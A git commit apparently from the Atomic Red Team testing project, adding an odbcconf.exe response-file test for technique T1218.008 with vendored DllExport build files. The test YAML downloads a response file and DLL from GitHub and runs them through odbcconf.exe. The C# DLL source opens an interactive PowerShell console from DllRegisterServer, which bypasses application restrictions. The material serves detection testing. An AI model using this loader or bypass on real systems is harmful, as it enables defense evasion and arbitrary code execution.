Odbcconf Response File (#2025)

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
This commit is contained in:
Michael Haag
2022-07-04 11:44:06 -06:00
committed by GitHub
parent 42d273917a
commit a85628597e
66 changed files with 1586 additions and 1 deletions
+30 -1
View File
@@ -24,4 +24,33 @@ atomic_tests:
executor:
command: |
odbcconf.exe /S /A {REGSVR "#{dll_payload}"}
name: command_prompt
name: command_prompt
- name: Odbcconf.exe - Load Response File
description: |
Execute arbitrary response file that will spawn PowerShell.exe.
Source files: https://github.com/woanware/application-restriction-bypasses
supported_platforms:
- windows
input_arguments:
rsp_file_name:
description: Response file name to load
type: String
default: T1218.008.rsp
rsp_file_path:
description: Response file path
type: String
default: PathToAtomicsFolder\T1218.008\bin\
dependency_executor_name: powershell
dependencies:
- description: |
T1218.008.rsp must exist on disk at specified location (#{rsp_file_path}#{rsp_file_name})
prereq_command: |
if (Test-Path #{rsp_file_path}#{rsp_file_name}) {exit 0} else {exit 1}
get_prereq_command: |
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.008/bin/T1218.008.rsp" -OutFile "#{rsp_file_path}#{rsp_file_name}"
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.008/bin/o.dll" -OutFile "#{rsp_file_path}\o.dll"
executor:
command: |
cd #{rsp_file_path}
odbcconf.exe -f #{rsp_file_name}
name: command_prompt
+1
View File
@@ -0,0 +1 @@
REGSVR o.dll
Binary file not shown.
@@ -0,0 +1,77 @@
// https://gist.github.com/NickTyrer/6ef02ce3fd623483137b45f65017352b
// odbcconf.exe /F file.rsp
using System;
using System.Runtime.InteropServices;
using RGiesecke.DllExport;
using System.Collections.ObjectModel;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Text;
public class Test
{
[DllExport("DllRegisterServer", CallingConvention = CallingConvention.StdCall)]
public static bool DllRegisterServer()
{
while (true)
{
AllocConsole();
IntPtr defaultStdout = new IntPtr(7);
IntPtr currentStdout = GetStdHandle(StdOutputHandle);
Console.Write("PS >");
string x = Console.ReadLine();
try
{
Console.WriteLine(RunPSCommand(x));
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
}
return true;
}
//Based on Jared Atkinson's And Justin Warner's Work
public static string RunPSCommand(string cmd)
{
//Init stuff
Runspace runspace = RunspaceFactory.CreateRunspace();
runspace.Open();
RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace);
Pipeline pipeline = runspace.CreatePipeline();
//Add commands
pipeline.Commands.AddScript(cmd);
//Prep PS for string output and invoke
pipeline.Commands.Add("Out-String");
Collection<PSObject> results = pipeline.Invoke();
runspace.Close();
//Convert records to strings
StringBuilder stringBuilder = new StringBuilder();
foreach (PSObject obj in results)
{
stringBuilder.Append(obj);
}
return stringBuilder.ToString().Trim();
}
public static void RunPSFile(string script)
{
PowerShell ps = PowerShell.Create();
ps.AddScript(script).Invoke();
}
private const UInt32 StdOutputHandle = 0xFFFFFFF5;
[DllImport("kernel32.dll")]
private static extern IntPtr GetStdHandle(UInt32 nStdHandle);
[DllImport("kernel32.dll")]
private static extern void SetStdHandle(UInt32 nStdHandle, IntPtr handle);
[DllImport("kernel32")]
static extern bool AllocConsole();
}
@@ -0,0 +1,36 @@
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("odbcconf")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("Microsoft")]
[assembly: AssemblyProduct("odbcconf")]
[assembly: AssemblyCopyright("Copyright © Microsoft 2017")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("8346cf2d-dbdf-4ffd-a4dc-4d51f1d8d3b9")]
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]
@@ -0,0 +1,62 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="14.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{8346CF2D-DBDF-4FFD-A4DC-4D51F1D8D3B9}</ProjectGuid>
<OutputType>Library</OutputType>
<AppDesignerFolder>Properties</AppDesignerFolder>
<RootNamespace>odbcconf</RootNamespace>
<AssemblyName>oc</AssemblyName>
<TargetFrameworkVersion>v2.0</TargetFrameworkVersion>
<FileAlignment>512</FileAlignment>
<TargetFrameworkProfile />
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
<PlatformTarget>x64</PlatformTarget>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="RGiesecke.DllExport.Metadata, Version=1.0.0.0, Culture=neutral, PublicKeyToken=8f52d83c1a22df51, processorArchitecture=MSIL">
<HintPath>packages\UnmanagedExports.1.2.7\lib\net\RGiesecke.DllExport.Metadata.dll</HintPath>
<SpecificVersion>False</SpecificVersion>
<Private>True</Private>
</Reference>
<Reference Include="System" />
<Reference Include="System.Management.Automation, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=MSIL">
<SpecificVersion>False</SpecificVersion>
<HintPath>..\..\..\..\..\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll</HintPath>
</Reference>
</ItemGroup>
<ItemGroup>
<Compile Include="Class1.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<None Include="packages.config" />
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
<Import Project="packages/UnmanagedExports.1.2.7/tools/RGiesecke.DllExport.targets" Condition="Exists('packages/UnmanagedExports.1.2.7/tools/RGiesecke.DllExport.targets')" />
<!-- To modify your build process, add your task inside one of the targets below and uncomment it.
Other similar extension points exist, see Microsoft.Common.targets.
<Target Name="BeforeBuild">
</Target>
<Target Name="AfterBuild">
</Target>
-->
</Project>
@@ -0,0 +1,22 @@
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 14
VisualStudioVersion = 14.0.25420.1
MinimumVisualStudioVersion = 10.0.40219.1
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "odbcconf", "odbcconf.csproj", "{8346CF2D-DBDF-4FFD-A4DC-4D51F1D8D3B9}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{8346CF2D-DBDF-4FFD-A4DC-4D51F1D8D3B9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{8346CF2D-DBDF-4FFD-A4DC-4D51F1D8D3B9}.Debug|Any CPU.Build.0 = Debug|Any CPU
{8346CF2D-DBDF-4FFD-A4DC-4D51F1D8D3B9}.Release|Any CPU.ActiveCfg = Release|Any CPU
{8346CF2D-DBDF-4FFD-A4DC-4D51F1D8D3B9}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<packages>
<package id="UnmanagedExports" version="1.2.7" targetFramework="net20" />
</packages>
@@ -0,0 +1,105 @@
function Remove-OldDllExportFolder {
param($project)
$defaultFiles = ('DllExportAttribute.cs',
'Mono.Cecil.dll',
'RGiesecke.DllExport.dll',
'RGiesecke.DllExport.pdb',
'RGiesecke.DllExport.MSBuild.dll',
'RGiesecke.DllExport.MSBuild.pdb',
'RGiesecke.DllExport.targets')
$projectFile = New-Object 'System.IO.FileInfo'($project.FullName)
$projectFile.Directory.GetDirectories("DllExport") | Select-Object -First 1 | % {
$dllExportDir = $_
if($dllExportDir.GetDirectories().Count -eq 0){
$unknownFiles = $dllExportDir.GetFiles() | Select -ExpandProperty Name | ? { -not $defaultFiles -contains $_ }
if(-not $unknownFiles){
Write-Host "Removing 'DllExport' from " $project.Name
$project.ProjectItems | ? { $_.Name -ieq 'DllExport' } | % {
$_.Remove()
}
Write-Host "Deleting " $dllExportDir.FullName " ..."
$dllExportDir.Delete($true)
}
}
}
}
function Remove-OldDllExportFolders {
Get-Project -all | % {
Remove-OldDllExportFolder $_
}
}
function Get-DllExportMsBuildProjectsByFullName([String] $fullName) {
$msBuildV4Name = 'Microsoft.Build, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a';
$msBuildV4 = [System.Reflection.Assembly]::LoadWithPartialName($msBuildV4Name)
if(!$msBuildV4) {
throw New-Object 'System.IO.FileNotFoundException'("Could not load $msBuildV4Name.")
}
$projectCollection = $msBuildV4.GetType('Microsoft.Build.Evaluation.ProjectCollection')
return $projectCollection::GlobalProjectCollection.GetLoadedProjects($fullName)
}
function Get-AllDllExportMsBuildProjects {
(Get-Project -all | % {
Get-DllExportMsBuildProjectsByFullName $_.FullName
}) | ? {
return ($_.Xml.Imports | ? {
"RGiesecke.DllExport.targets" -ieq [System.IO.Path]::GetFileName($_.Project);
}).Length -gt 0;
}
}
function Assert-PlatformTargetOfProject([String] $fullName) {
$proj = Get-DllExportMsBuildProjectsByFullName $fullName
if(!$proj) {
return;
}
$platformTarget = $proj.GetPropertyValue('PlatformTarget');
if(!$platformTarget -or ($platformTarget -ine 'x86' -and $platformTarget -ine 'x64')) {
$projectName = [IO.Path]::GetFileNameWithoutExtension($fullName);
if(!$platformTarget) {
$platformTarget = "has no platform target";
} else {
$platformTarget = "has a platform target of '$platformTarget'";
}
Write-Warning "The project '$projectName' $platformTarget. Only x86 or x64 assemblies can export functions."
Write-Host ""
}
}
function Set-NoDllExportsForAnyCpu([String] $projectName, [System.Nullable[bool]] $value) {
$projects = Get-AllDllExportMsBuildProjects;
[String] $asString = $value;
if($projectName) {
$projects = $projects | where { $_.Name -ieq $projectName };
}
$propertyName = 'NoDllExportsForAnyCpu';
$projects = $projects | where {
$_.GetPropertyValue($propertyName) -ine $asString
} | % {
$_.SetProperty($propertyName, $asString);
}
}
Export-ModuleMember Set-NoDllExportsForAnyCpu
Export-ModuleMember Remove-OldDllExportFolder
Export-ModuleMember Remove-OldDllExportFolders
Export-ModuleMember Get-DllExportMsBuildProjectsByFullName
Export-ModuleMember Get-AllDllExportMsBuildProjects
Export-ModuleMember Assert-PlatformTargetOfProject
@@ -0,0 +1,75 @@
<?xml version="1.0" encoding="utf-8"?>
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup>
<PostBuildEventDependsOn>
$(PostBuildEventDependsOn);
RGieseckeDllExport
</PostBuildEventDependsOn>
</PropertyGroup>
<PropertyGroup>
<BuildDependsOn>
$(BuildDependsOn);
RGieseckeDllExport
</BuildDependsOn>
</PropertyGroup>
<UsingTask TaskName="RGiesecke.DllExport.MSBuild.DllExportAppDomainIsolatedTask"
AssemblyFile="RGiesecke.DllExport.MSBuild.dll" />
<Target Name="RGieseckeDllExport"
DependsOnTargets="GetFrameworkPaths">
<!--
These properties can still be applied to the task, but upon installation of a
new version of the nuget package, the properties
DllExportAttributeAssemblyName and DllExportAttributeAssemblyName will be removed from the project.
So, if you want to provide an alternative attribute name, the you have to name the property in your project file differently.
e.g.:
DllExportAttributeAssemblyName="$(MyDllExportAttributeAssemblyName)"
DllExportAttributeFullName="$(MyDllExportAttributeFullName)"
-->
<PropertyGroup>
<!-- Sorry for the weird naming of those 2, but I have to prevent the upgrade from the old template to remove those from your project files -->
<DllExportAttributeFullNameProp Condition="'$(DllExportAttributeFullNameProp)' == ''">RGiesecke.DllExport.DllExportAttribute</DllExportAttributeFullNameProp>
<DllExportAttributeAssemblyNameProp Condition="'$(DllExportAttributeAssemblyNameProp)' == ''">RGiesecke.DllExport.Metadata</DllExportAttributeAssemblyNameProp>
<DllExportPlatform Condition="'$(DllExportPlatform)' == ''">$(Platform)</DllExportPlatform>
<DllExportPlatformTarget Condition="'$(DllExportPlatformTarget)' == ''">$(PlatformTarget)</DllExportPlatformTarget>
<DllExportCpuType Condition="'$(DllExportCpuType)' == ''">$(CpuType)</DllExportCpuType>
<DllExportEmitDebugSymbols Condition="'$(DllExportEmitDebugSymbols)' == ''">$(DebugSymbols)</DllExportEmitDebugSymbols>
<DllExportLeaveIntermediateFiles Condition="'$(DllExportLeaveIntermediateFiles)' == ''">false</DllExportLeaveIntermediateFiles>
<DllExportTimeout Condition="'$(DllExportTimeout)' == ''">$(DllExportTimeout)</DllExportTimeout>
<DllExportKeyContainer Condition="'$(DllExportKeyContainer)' == ''">$(KeyContainerName)$(AssemblyKeyContainerName)</DllExportKeyContainer>
<DllExportKeyFile Condition="'$(DllExportKeyFile)' == ''">$(KeyOriginatorFile)</DllExportKeyFile>
<DllExportProjectDirectory Condition="'$(DllExportProjectDirectory)' == ''">$(MSBuildProjectDirectory)</DllExportProjectDirectory>
<DllExportInputFileName Condition="'$(DllExportInputFileName)' == ''">$(TargetPath)</DllExportInputFileName>
<DllExportFrameworkPath Condition="'$(DllExportFrameworkPath)' == ''">$(TargetedFrameworkDir);$(TargetFrameworkDirectory)</DllExportFrameworkPath>
<DllExportLibToolPath Condition="'$(DllExportLibToolPath)' == ''">$(DevEnvDir)\..\..\VC\bin</DllExportLibToolPath>
<DllExportLibToolDllPath Condition="'$(DllExportLibToolDllPath)' == ''">$(DevEnvDir)</DllExportLibToolDllPath>
<DllExportTargetFrameworkVersion Condition="'$(DllExportTargetFrameworkVersion)' == ''">$(TargetFrameworkVersion)</DllExportTargetFrameworkVersion>
<DllExportSdkPath Condition="'$(DllExportSdkPath)' == ''">$(TargetFrameworkSDKToolsDirectory)</DllExportSdkPath>
<DllExportSkipOnAnyCpu Condition="'$(DllExportSkipOnAnyCpu)' == ''">$(NoDllExportsForAnyCpu)</DllExportSkipOnAnyCpu>
</PropertyGroup>
<DllExportAppDomainIsolatedTask Platform="$(DllExportPlatform)"
PlatformTarget="$(DllExportPlatformTarget)"
CpuType="$(DllExportCpuType)"
EmitDebugSymbols="$(DllExportEmitDebugSymbols)"
LeaveIntermediateFiles="$(DllExportLeaveIntermediateFiles)"
Timeout="$(DllExportTimeout)"
KeyContainer="$(DllExportKeyContainer)"
KeyFile="$(DllExportKeyFile)"
ProjectDirectory="$(DllExportProjectDirectory)"
InputFileName="$(DllExportInputFileName)"
FrameworkPath="$(DllExportFrameworkPath)"
LibToolPath="$(DllExportLibToolPath)"
LibToolDllPath="$(DllExportLibToolDllPath)"
TargetFrameworkVersion="$(DllExportTargetFrameworkVersion)"
SdkPath="$(DllExportSdkPath)"
SkipOnAnyCpu="$(DllExportSkipOnAnyCpu)"/>
</Target>
</Project>
@@ -0,0 +1,12 @@
param($installPath, $toolsPath, $package, $project)
Import-Module (Join-Path $toolsPath DllExportCmdLets.psm1)
if($project) {
Assert-PlatformTargetOfProject $project.FullName
}
else {
Get-AllDllExportMsBuildProjects | % {
Assert-PlatformTargetOfProject $_.FullPath
}
}
@@ -0,0 +1,52 @@
param($installPath, $toolsPath, $package, $project)
$targetFileName = 'RGiesecke.DllExport.targets'
$targetFileName = [IO.Path]::Combine($toolsPath, $targetFileName)
$targetUri = New-Object Uri -ArgumentList $targetFileName, [UriKind]::Absolute
$msBuildV4Name = 'Microsoft.Build, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a';
$msBuildV4 = [System.Reflection.Assembly]::LoadWithPartialName($msBuildV4Name)
if(!$msBuildV4) {
throw New-Object System.IO.FileNotFoundException("Could not load $msBuildV4Name.");
}
$projectCollection = $msBuildV4.GetType('Microsoft.Build.Evaluation.ProjectCollection')
# change the reference to RGiesecke.DllExport.Metadata.dll to not be copied locally
$project.Object.References | ? {
$_.Name -ieq "RGiesecke.DllExport.Metadata"
} | % {
if($_ | Get-Member | ? {$_.Name -eq "CopyLocal"}){
$_.CopyLocal = $false
}
}
$projects = $projectCollection::GlobalProjectCollection.GetLoadedProjects($project.FullName)
$projects | % {
$currentProject = $_
# remove imports of RGiesecke.DllExport.targets from this project
$currentProject.Xml.Imports | ? {
return ("RGiesecke.DllExport.targets" -ieq [IO.Path]::GetFileName($_.Project))
} | % {
$currentProject.Xml.RemoveChild($_);
}
# remove the properties DllExportAttributeFullName and DllExportAttributeAssemblyName
$currentProject.Xml.Properties | ? {
$_.Name -eq "DllExportAttributeFullName" -or $_.Name -eq "DllExportAttributeAssemblyName"
} | % {
$_.Parent.RemoveChild($_)
}
$projectUri = New-Object Uri -ArgumentList $currentProject.FullPath, [UriKind]::Absolute
$relativeUrl = $projectUri.MakeRelative($targetUri)
$import = $currentProject.Xml.AddImport($relativeUrl)
$import.Condition = "Exists('$relativeUrl')";
# remove the old stuff in the DllExports folder from previous versions, (will check that only known files are in it)
Remove-OldDllExportFolder $project
Assert-PlatformTargetOfProject $project.FullName
}
@@ -0,0 +1,17 @@
param($installPath, $toolsPath, $package, $project)
$targetFileName = 'RGiesecke.DllExport.targets'
$targetFileName = [System.IO.Path]::Combine($toolsPath, $targetFileName)
$targetUri = New-Object Uri($targetFileName, [UriKind]::Absolute)
$projects = Get-DllExportMsBuildProjectsByFullName($project.FullName)
return $projects | % {
$currentProject = $_
$currentProject.Xml.Imports | ? {
"RGiesecke.DllExport.targets" -ieq [System.IO.Path]::GetFileName($_.Project)
} | % {
$currentProject.Xml.RemoveChild($_)
}
}
@@ -0,0 +1,75 @@
//odbcconf.exe /F file.rsp
using System;
using System.Runtime.InteropServices;
using System.Collections.ObjectModel;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Text;
using odbc;
public class Test
{
[DllExport("DllRegisterServer", CallingConvention = CallingConvention.StdCall)]
public static bool DllRegisterServer()
{
while (true)
{
AllocConsole();
IntPtr defaultStdout = new IntPtr(7);
IntPtr currentStdout = GetStdHandle(StdOutputHandle);
Console.Write("PS >");
string x = Console.ReadLine();
try
{
Console.WriteLine(RunPSCommand(x));
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
}
return true;
}
//Based on Jared Atkinson's And Justin Warner's Work
public static string RunPSCommand(string cmd)
{
//Init stuff
Runspace runspace = RunspaceFactory.CreateRunspace();
runspace.Open();
RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace);
Pipeline pipeline = runspace.CreatePipeline();
//Add commands
pipeline.Commands.AddScript(cmd);
//Prep PS for string output and invoke
pipeline.Commands.Add("Out-String");
Collection<PSObject> results = pipeline.Invoke();
runspace.Close();
//Convert records to strings
StringBuilder stringBuilder = new StringBuilder();
foreach (PSObject obj in results)
{
stringBuilder.Append(obj.ToString().TrimEnd('\r', '\n'));
}
return stringBuilder.ToString().Trim();
}
public static void RunPSFile(string script)
{
PowerShell ps = PowerShell.Create();
ps.AddScript(script).Invoke();
}
private const UInt32 StdOutputHandle = 0xFFFFFFF5;
[DllImport("kernel32.dll")]
private static extern IntPtr GetStdHandle(UInt32 nStdHandle);
[DllImport("kernel32.dll")]
private static extern void SetStdHandle(UInt32 nStdHandle, IntPtr handle);
[DllImport("kernel32")]
static extern bool AllocConsole();
}
@@ -0,0 +1,36 @@
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("odbc")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("odbc")]
[assembly: AssemblyCopyright("Copyright © 2017")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("12614e54-5c05-4278-8f76-f1940f87a352")]
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]
@@ -0,0 +1,63 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{12614E54-5C05-4278-8F76-F1940F87A352}</ProjectGuid>
<OutputType>Library</OutputType>
<AppDesignerFolder>Properties</AppDesignerFolder>
<RootNamespace>odbc</RootNamespace>
<AssemblyName>odbc</AssemblyName>
<TargetFrameworkVersion>v4.5</TargetFrameworkVersion>
<FileAlignment>512</FileAlignment>
<TargetFrameworkProfile />
<DllExportNamespace>odbc</DllExportNamespace>
<DllExportDDNSCecil>true</DllExportDDNSCecil>
<DllExportOrdinalsBase>1</DllExportOrdinalsBase>
<DllExportGenExpLib>false</DllExportGenExpLib>
<DllExportOurILAsm>false</DllExportOurILAsm>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
<PlatformTarget>x64</PlatformTarget>
<Prefer32Bit>false</Prefer32Bit>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
<Prefer32Bit>false</Prefer32Bit>
</PropertyGroup>
<ItemGroup>
<Reference Include="DllExport, Version=1.5.2.30304, Culture=neutral, PublicKeyToken=8337224c9ad9e356, processorArchitecture=MSIL">
<HintPath>packages\DllExport.1.5.2\lib\net20\DllExport.dll</HintPath>
<Private>False</Private>
</Reference>
<Reference Include="System" />
<Reference Include="System.Core" />
<Reference Include="System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=MSIL">
<SpecificVersion>False</SpecificVersion>
<HintPath>..\..\..\..\..\..\Program Files (x86)\Reference Assemblies\Microsoft\WindowsPowerShell\3.0\System.Management.Automation.dll</HintPath>
</Reference>
<Reference Include="Microsoft.CSharp" />
</ItemGroup>
<ItemGroup>
<Compile Include="Class1.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<None Include="packages.config" />
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
<Import Project="packages/DllExport.1.5.2/tools/net.r_eg.DllExport.targets" Condition="Exists('packages/DllExport.1.5.2/tools/net.r_eg.DllExport.targets')" />
</Project>
@@ -0,0 +1,22 @@
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 15
VisualStudioVersion = 15.0.26228.4
MinimumVisualStudioVersion = 10.0.40219.1
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "odbcconf", "odbcconf.csproj", "{12614E54-5C05-4278-8F76-F1940F87A352}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{12614E54-5C05-4278-8F76-F1940F87A352}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{12614E54-5C05-4278-8F76-F1940F87A352}.Debug|Any CPU.Build.0 = Debug|Any CPU
{12614E54-5C05-4278-8F76-F1940F87A352}.Release|Any CPU.ActiveCfg = Release|Any CPU
{12614E54-5C05-4278-8F76-F1940F87A352}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<packages>
<package id="DllExport" version="1.5.2" targetFramework="net45" />
</packages>
@@ -0,0 +1,16 @@
DllExport [ github.com/3F/DllExport ]
- - - - - - - - - - - - - - - - - - -
# Third-party software components
## The DllExport includes:
* CoreCLR / ILAsm / ILDasm [ github.com/3F/coreclr ]
* Mono.Cecil [ github.com/jbevain/cecil ]
* SDK reference assemblies for PowerShell version 5 [ github.com/PowerShell/ ]
## Maintenance of this project also includes:
* vsSolutionBuildEvent /+ CI.MSBuild [ github.com/3F/vsSolutionBuildEvent ]
* GetNuTool [ github.com/3F/GetNuTool ]
@@ -0,0 +1,22 @@
The MIT License (MIT)
Copyright (c) 2009-2015 Robert Giesecke
Copyright (c) 2016-2017 Denis Kuzmin <entry.reg@gmail.com>
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
@@ -0,0 +1,188 @@
# [DllExport](https://github.com/3F/DllExport)
*Unmanaged Exports ( .NET DllExport )*
```
Copyright (c) 2009-2015 Robert Giesecke
Copyright (c) 2016-2017 Denis Kuzmin <entry.reg@gmail.com>
```
[![Build status](https://ci.appveyor.com/api/projects/status/yh1pnuhaqk8h334h/branch/master?svg=true)](https://ci.appveyor.com/project/3Fs/dllexport/branch/master)
[![NuGet package](https://img.shields.io/nuget/v/DllExport.svg)](https://www.nuget.org/packages/DllExport/)
[![License](https://img.shields.io/badge/License-MIT-74A5C2.svg)](https://github.com/3F/DllExport/blob/master/LICENSE)
```csharp
[DllExport("Init", CallingConvention.Cdecl)]
public static int entrypoint(IntPtr L)
{
// ... it will be called from Lua script
lua_pushcclosure(L, onProc, 0);
lua_setglobal(L, "onKeyDown");
return 0;
}
```
* **For work with Unmanaged code/libraries (binding between .NET and C/C++ etc.), see [Conari](https://github.com/3F/Conari)**
* If you need convenient work with Lua (5.1, 5.2, 5.3, ...), see [LunaRoad](https://github.com/3F/LunaRoad)
```csharp
[DllExport("Init", CallingConvention.Cdecl)]
// __cdecl is the default calling convention for our library as and for C and C++ programs
[DllExport(CallingConvention.StdCall)]
[DllExport("MyFunc")]
[DllExport]
```
Support of Modules: Library (**.dll**) and Executable (**.exe**) [[?](https://github.com/3F/DllExport/issues/18)]
Where to look ? v1.2+ provides dynamic definitions of namespaces (ddNS feature), thus you can use what you want - details **[here](https://github.com/3F/DllExport/issues/2)**
```cpp
Via Cecil or direct modification:
Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
000005B0 00 C4 7B 01 00 00 00 2F 00 12 05 .Ä{..../...
000005C0 00 00 02 00 00 00 00 00 00 00 00 00 00 00 26 00 ..............&.
000005D0 20 02 00 00 00 00 00 00 00 49 2E 77 61 6E 74 2E ........I.want. <<<-
000005E0 74 6F 2E 66 6C 79 00 00 00 00 00 00 00 00 00 00 to.fly.......... <<<-
```
